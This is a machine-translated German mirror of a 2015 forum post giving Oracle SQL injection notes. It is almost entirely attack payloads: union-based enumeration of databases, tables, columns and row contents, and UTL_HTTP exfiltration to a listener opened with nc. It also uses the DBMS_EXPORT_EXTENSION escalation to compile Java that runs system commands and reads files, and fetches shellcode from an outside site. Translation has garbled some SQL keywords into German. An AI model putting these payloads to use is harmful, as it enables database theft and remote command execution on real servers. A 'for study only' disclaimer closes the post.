Dieser Artikel ist ein Spiegelartikel der maschinellen Übersetzung, bitte klicken Sie hier, um zum Originalartikel zu springen.

Ansehen: 11931|Antwort: 0

[Sichere Kommunikation] SQL Injection Notes Oracle

[Link kopieren]
Veröffentlicht am 24.01.2015 12:58:17 | | |
Dieser Beitrag wurde zuletzt am 24.01.2015 um 13:01 Uhr von Test bearbeitet

Kommentar: --
Die Ausführung mehrerer Sätze wird nicht unterstützt, und föderierte Abfragen werden unterstützt
Datenbanknamen, Tabellennamen und Spaltennamen werden alle großgeschrieben.


Länge(Feld)
ascii(substr(Feld, N, 1))


und (wähle Zahl(*) aus dem Dual)>0 – Bestimmen, ob es ein Orakel ist oder nicht

Ordnung nach n--

und 1=2 Vereinigungswahl von Null, Null,.....,Null aus Dual – Null durch N oder 'N' ersetzen

und 1=2 Union Select Null, (SQL-Anweisung) ,.....,Null von Dual – Änderung zu (SQL-Anweisung) bei 'N'

und (wähle Anzahl (*) aus all_objects aus, wobei object_name='UTL_HTTP')>0 – Bestimmen, ob die UTL_HTTP unterstützt wird (die Export-IP ist bekannt)

und UTL_HTTP.request('http://LocalIP:port'|| (SQL-Anweisung)) =1-- Nachrichten aus der Ferne an lokal senden, lokal Hören nc -vv -l -p 1234


SQL-Anweisungen
Wählen Sie ein Banner aus sys.v_$version, bei dem rownum=1, um die Oracle-Version abzufragen
Wählen Sie Mitglied aus v$logfile aus, wo rownum=1 Abfrage des Logdateipfads (Windows oder Linux)
Wählen Sie utl_inaddr.get_host_address aus dual aus, um die Datenbank-Listening-IP abzufragen
Wähle instance_name aus v$instance aus, um die SID abzufragen
Namen aus v$database auswählen Abfrage des aktuellen Datenbanknamens
Wählen Sie sys_context ('userenv', 'current_user') aus Dual-Query-Datenbankbenutzern aus
Wählen Sie * aus session_roles, wobei rownum=1 gewählt wird, um die aktuellen Benutzerberechtigungen abzufragen
Wähle * aus session_roles, wo rownum=1 [und Rolle<>'Erster Berechtigungsname']



Wählen Sie table_name aus user_tables aus, wo rownum=1 Das erste Tabellensegment der aktuellen Datenbank
Select table_name||','|| tablespace_name von user_tables, wo rownum=1 Erster Tabellensegment, Datenbank (zur Verifizierung muss es nicht v$database sein)
Wählen Sie table_name aus user_tables aus, wobei rownum=1 und table_name<>'erster Tabellensegment' Das zweite Tabellensegment der aktuellen Datenbank

Wählen Sie column_name aus user_tab_columns aus, wobei rownum=1 und table_name='Tabellensegment' Das erste Feld entspricht, das dem Tabellennamen entspricht
Wählen Sie column_name aus user_tab_columns aus, wobei rownum=1 und table_name='Tabellensegment' und column_name<>'Erster Feld' Das zweite Feld entspricht, das dem Tabellennamen entspricht

Feld aus dem Tabellensegment auswählen, bei dem rownum=1 gegen den Inhalt der ersten Zeile verstößt
Feld aus dem Tabellensegment auswählen, in dem rownum=1 und Feld <> 'First Line Content' den Inhalt der zweiten Zeile offenlegen


Cross-Library
Wählen Sie den Besitzer aus all_tables, bei dem rownum=1 den ersten Datenbanknamen abfragt
Wählen Sie den Besitzer aus all_tables aus, wobei rownum=1 und der Eigentümer<> 'Erster Datenbankname', um den zweiten Datenbanknamen abzufragen

Wählen Sie table_name aus all_tables aus, wobei rownum=1 und owner='database name' abfragen Sie den ersten Tabellennamen der entsprechenden Datenbank ab
Wählen Sie table_name aus all_tables aus, wobei rownum=1 und owner='database name' und table_name<>'first table name' verwendet werden, um den zweiten Tabellennamen der entsprechenden Datenbank abzufragen

Wählen Sie column_name aus all_tab_columns aus, wobei rownum=1 und owner='database name' und table_name='table segment' das erste Feld mit dem Tabellennamen auswählt
Wählen Sie column_name aus all_tab_columns aus, wobei rownum=1 und owner='Datenbankname' und table_name='Table Segment' und column_name<>'first field' das zweite Feld zum Tabellennamen auswählt

Feld aus der Datenbank auswählen. Tabellensegment, bei dem rownum=1 den Inhalt der ersten Zeile verletzt
Feld aus der Datenbank auswählen. Das Tabellensegment, bei dem rownum=1 und das Feld <> 'First Line Content' gegen den Inhalt der zweiten Zeile verstoßen.





SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT'". PUT(:P 1); mehraussagendes END; --','SYS',0,'1',0)--

Wenn 'is escaped, wird chr() verwendet.

SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES(chr(70)|| chr(79)|| chr(79),chr(66)|| chr(65)|| chr(82), chr(68)|| chr(66)|| chr(77)|| chr(83)|| chr(95)|| chr(79)|| chr(85)|| chr(84)|| chr(80)|| chr(85)|| chr(84)|| chr(34)|| chr(46)|| chr(80)|| chr(85)|| chr(84)|| chr(40)|| chr(58)|| chr(80)|| chr(49)|| chr(41)|| chr(59)|| Multi-Aussagen || chr(69)|| chr(78)|| chr(68)|| chr(59)|| chr(45)|| chr(45),chr(83)|| chr(89)|| chr(83),0,chr(49),0)=0--

Wenn mehrere Sätze zu lang sind, kannst du die Aussage in die Website-Datei schreiben und utl_http.request verwenden, um sie abzurufen.

SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT'". PUT(:P 1); utl_http.request('http://www.guetsec.com/shellcode.txt'); --','SYS',0,'1',0)--





Erstellen Sie ein JAVA-Paket SecTest
runCMD wird verwendet, um Systembefehle auszuführen.
und '1'<>'a'|| (wähle SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT'". PUT(:P 1); SOFORT AUSFÜHREN'' ERKLÄRT PRAGMA AUTONOMOUS_TRANSACTION; START EXECUTE IMMEDIATE''''', erstellen oder ersetzen und kompilieren Sie eine Java-Quelle namens "SecTest" als Import java.io.*; öffentliche Klasse SecTest erweitert Object{public static String runCMD(String args){try{BufferedReader myReader=new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(args) .getInputStream())); String stemp,str=""; während((stemp=myReader.readLine())!=null) str+=stemp+"\n"; myReader.close(); Return STR; }catch(Exception e){return e.toString(); }}}''''; ENDE; ''; ENDE; --','SYS',0,'1',0) aus Dual)--

readFile wird verwendet, um die Datei zu lesen
und '1'<>'a'|| (wähle SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT'". PUT(:P 1); SOFORT AUSFÜHREN'' ERKLÄRT PRAGMA AUTONOMOUS_TRANSACTION; START EXECUTE IMMEDIATE''''', erstellen oder ersetzen und kompilieren Sie eine Java-Quelle namens "SecTest" als Import java.io.*; öffentliche Klasse SecTest erweitert Object{public static String readFile(String filename){try{BufferedReader myReader=new BufferedReader(new FileReader(filename)); String stemp,str=""; während((stemp=myReader.readLine())!=null) str+=stemp+"\n"; myReader.close(); Return STR; }catch(Exception e){return e.toString(); }}}''''; ENDE; ''; ENDE; --','SYS',0,'1',0) aus Dual)--



Java-Berechtigungen gewähren
und '1'<>'a'|| (wähle SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT'". PUT(:P 1); SOFORT "DECLARE PRAGMA AUTONOMOUS_TRANSACTION; START EXECUTE IMMEDIATE '''' start dbms_java.grant_permission(''''''''PUBLIC'''''''',''''''''SYS:java.io.FilePermission'''''''',''''''''<<ALLE FILES>>'''''''',''''''''ausführen''''''''); Ende; ''''; ENDE; ''; ENDE; --','SYS',0,'1',0) aus Dual)--



Erstelle eine Funktion
SecRunCMD-Funktion
und '1'<>'a'|| (wähle SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT'". PUT(:P 1); SOFORT "DECLARE PRAGMA AUTONOMOUS_TRANSACTION; START EXECUTE IMMEDIATE ''''', erstelle oder ersetze Funktion SecRunCMD(p_cmd in varchar2) gib varchar2 als Sprache java-Name zurück''''''''SecTest.runCMD(java.lang.String) gib String zurück'''''''' ; ''''; ENDE; ''; ENDE; --','SYS',0,'1',0) aus Dual)--

SecReadFile-Funktion
und '1'<>'a'|| (wähle SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT'". PUT(:P 1); SOFORT "DECLARE PRAGMA AUTONOMOUS_TRANSACTION; START EXECUTE IMMEDIATE '''''-Funktion zum Erstellen oder Ersetzen SecReadFile (Dateiname in varchar2) geben Sie varchar2 als Language Java Name zurück''''''''SecTest.readFile(java.lang.String) geben Sie String zurück '''''''; ''''; ENDE; ''; ENDE; --','SYS',0,'1',0) aus Dual)--



Erlaubnis zur Ausübung der öffentlichen Funktion erteilen
SecRunCMD erhält Berechtigungen
und '1'<>'a'|| (wähle SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT'". PUT(:P 1); SOFORT "DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGINNEN MIT DER SOFORTIGEN UMSETZUNG ''''alle auf SecRunCMD an die Öffentlichkeit gewähren'''; ENDE; ''; ENDE; --','SYS',0,'1',0) aus Dual)--

SecReadFile
und '1'<>'a'|| (wähle SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT'". PUT(:P 1); SOFORT "DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGINNEN AUSFÜHREN SOFORT '''''' Gewähren aller SecReadFile an die Öffentlichkeit ''''; ENDE; ''; ENDE; --','SYS',0,'1',0) aus Dual)--



Erkennt, ob die Funktion erfolgreich erstellt wurde
und (wähle Zahl(*) aus all_objects aus, wobei object_name='SECRUNCMD')>0--
und (wähle Zahl(*) aus all_objects aus, wobei object_name='SECREADFILE')>0--



Führe den Befehl aus
und '1'<>(Select Sys. SecRunCMD('Execute-Befehl') aus dual)--
und '1'<>(Select Sys. SecReadFile('file physical address') von dual)--
oder
und 1=2 Union select null,...,sys. SecRunCMD('execute command'),...,null from dual--
und 1=2 Union select null,...,sys. SecReadFile('file physical address'),...,null from dual--
oder
und '1'<>(select UTL_HTTP.request('http://LocalIP:port'|| REPLACE(REPLACE(sys. SecRunCMD('Ausführen des Befehls'),' ',' '),'\n',' ')) aus dual)--
und '1'<>(select UTL_HTTP.request('http://LocalIP:port'|| REPLACE(REPLACE(sys. SecReadFile('File Physical Address'),' ',' ','\n', ' ')) von dual)--



Löschfunktion
und '1'<>'a'|| (wähle SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT'". PUT(:P 1); SOFORT "DECLARE PRAGMA AUTONOMOUS_TRANSACTION; START EXECUTE IMMEDIATE '''''drop-Funktion SecRunCMD''''; ENDE; ''; ENDE; --','SYS',0,'1',0) aus Dual)--
und '1'<>'a'|| (wähle SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT'". PUT(:P 1); SOFORT "DECLARE PRAGMA AUTONOMOUS_TRANSACTION; START EXECUTE IMMEDIATE '''''drop-Funktion SecReadFile''''; ENDE; ''; ENDE; --','SYS',0,'1',0) aus Dual)--




Vorhergehend:Kann ich eine Moderation beantragen, welche Bedingungen brauche ich?
Nächster:ORALCE erhält den Hostnamen und die IP-Adresse
Verzichtserklärung:
Alle von Code Farmer Network veröffentlichten Software, Programmiermaterialien oder Artikel dienen ausschließlich Lern- und Forschungszwecken; Die oben genannten Inhalte dürfen nicht für kommerzielle oder illegale Zwecke verwendet werden, andernfalls tragen die Nutzer alle Konsequenzen. Die Informationen auf dieser Seite stammen aus dem Internet, und Urheberrechtsstreitigkeiten haben nichts mit dieser Seite zu tun. Sie müssen die oben genannten Inhalte innerhalb von 24 Stunden nach dem Download vollständig von Ihrem Computer löschen. Wenn Ihnen das Programm gefällt, unterstützen Sie bitte echte Software, kaufen Sie die Registrierung und erhalten Sie bessere echte Dienstleistungen. Falls es eine Verletzung gibt, kontaktieren Sie uns bitte per E-Mail.

Mail To:help@itsvse.com